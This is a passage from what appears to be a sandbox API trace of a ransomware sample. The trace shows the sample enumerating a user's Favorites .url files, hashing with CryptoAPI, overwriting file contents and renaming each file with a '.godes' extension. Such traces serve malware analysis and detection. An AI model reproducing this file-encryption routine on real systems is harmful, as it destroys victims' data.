(lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.950] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740fc0) returned 1 [0113.951] CryptCreateHash (in: hProv=0x740fc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.951] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.951] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.951] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.951] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.951] GetLastError () returned 0x0 [0113.951] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.951] CryptReleaseContext (hProv=0x740fc0, dwFlags=0x0) returned 1 [0113.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.951] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.951] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.951] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0113.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.951] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.951] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.951] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.951] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.951] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.952] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.952] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.952] CloseHandle (hObject=0x624) returned 1 [0113.952] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.952] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.952] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.godes")) returned 1 [0113.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.953] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.954] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0113.954] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0113.954] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0113.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.954] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0113.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.956] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.956] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.957] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.957] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.957] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.957] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0113.957] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.957] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.957] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.957] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.957] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740fc0) returned 1 [0113.958] CryptCreateHash (in: hProv=0x740fc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.958] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.958] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.958] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.958] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.958] GetLastError () returned 0x0 [0113.958] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.958] CryptReleaseContext (hProv=0x740fc0, dwFlags=0x0) returned 1 [0113.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.958] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.958] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.958] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0113.959] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.959] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.959] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.959] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.959] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.959] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.959] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.959] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.959] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.959] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.959] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.959] CloseHandle (hObject=0x624) returned 1 [0113.960] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0113.960] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x3321120 [0113.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0113.960] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.godes")) returned 1 [0113.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.960] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.961] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0113.961] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0113.961] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.961] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0113.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.962] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0113.962] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.963] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.963] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.964] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.964] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.964] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0113.965] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.965] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.965] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.965] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.965] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740fc0) returned 1 [0113.965] CryptCreateHash (in: hProv=0x740fc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.965] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.965] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.966] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.966] GetLastError () returned 0x0 [0113.966] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.966] CryptReleaseContext (hProv=0x740fc0, dwFlags=0x0) returned 1 [0113.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.966] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.966] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0113.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.966] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.966] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.966] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.966] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.966] CloseHandle (hObject=0x624) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0113.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0113.967] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.godes")) returned 1 [0113.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.968] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.969] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.969] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0113.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.969] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.969] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0113.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.969] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0113.969] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.971] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.971] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.972] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.972] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0113.972] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.972] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.972] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.972] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.972] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740fc0) returned 1 [0113.973] CryptCreateHash (in: hProv=0x740fc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.973] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.973] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.973] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.973] GetLastError () returned 0x0 [0113.973] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.973] CryptReleaseContext (hProv=0x740fc0, dwFlags=0x0) returned 1 [0113.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.973] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.973] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0113.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.973] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.973] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, 